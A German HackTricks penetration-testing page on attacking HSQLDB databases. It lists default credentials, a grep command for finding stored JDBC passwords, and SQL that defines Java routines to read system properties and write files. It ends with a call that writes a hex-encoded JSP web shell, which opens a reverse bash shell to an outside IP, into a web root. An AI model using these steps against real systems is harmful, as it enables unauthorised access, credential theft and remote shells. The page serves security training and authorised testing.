tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

HSQLDB (HyperSQL DataBase) ist das führende SQL-Relationale-Datenbanksystem, das in Java geschrieben ist. Es bietet eine kleine, schnelle, multithreaded und transaktionale Datenbank-Engine mit In-Memory- und festplattenbasierten Tabellen und unterstützt eingebettete und Server-Modi.

Standardport: 9001

text
9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Informationen

Standardeinstellungen

Beachten Sie, dass dieser Dienst standardmäßig wahrscheinlich im Speicher läuft oder an localhost gebunden ist. Wenn Sie ihn gefunden haben, haben Sie wahrscheinlich einen anderen Dienst ausgenutzt und suchen nach einer Erhöhung der Berechtigungen.

Die Standardanmeldeinformationen sind normalerweise sa mit einem leeren Passwort.

Wenn Sie einen anderen Dienst ausgenutzt haben, suchen Sie nach möglichen Anmeldeinformationen mit

text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Beachten Sie den Datenbanknamen sorgfältig - Sie benötigen ihn zur Verbindung.

Informationssammlung

Verbinden Sie sich mit der DB-Instanz, indem Sie HSQLDB herunterladen und hsqldb/lib/hsqldb.jar extrahieren. Führen Sie die GUI-App (eww) mit java -jar hsqldb.jar aus und verbinden Sie sich mit der Instanz unter Verwendung der entdeckten/schwachen Anmeldeinformationen.

Beachten Sie, dass die Verbindungs-URL für ein entferntes System ungefähr so aussehen wird: jdbc:hsqldb:hsql://ip/DBNAME.

Tricks

Java-Sprachroutinen

Wir können statische Methoden einer Java-Klasse von HSQLDB aus über Java-Sprachroutinen aufrufen. Beachten Sie, dass die aufgerufene Klasse im Klassenpfad der Anwendung vorhanden sein muss.

JRTs können Funktionen oder Prozeduren sein. Funktionen können über SQL-Anweisungen aufgerufen werden, wenn die Java-Methode eine oder mehrere SQL-kompatible primitive Variablen zurückgibt. Sie werden mit der VALUES-Anweisung aufgerufen.

Wenn die Java-Methode, die wir aufrufen möchten, void zurückgibt, müssen wir eine Prozedur verwenden, die mit der CALL-Anweisung aufgerufen wird.

Lesen von Java-Systemeigenschaften

Funktion erstellen:

text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

Funktion ausführen:

text
VALUES(getsystemproperty('user.name'))

Sie können eine Liste der Systemeigenschaften hier finden.

Inhalt in Datei schreiben

Sie können das com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename Java-Gadget verwenden, das sich im JDK befindet (automatisch in den Klassenpfad der Anwendung geladen), um hexadezimal codierte Elemente über ein benutzerdefiniertes Verfahren auf die Festplatte zu schreiben. Beachten Sie die maximale Größe von 1024 Bytes.

Erstellen Sie das Verfahren:

text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Führen Sie das Verfahren aus:

text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks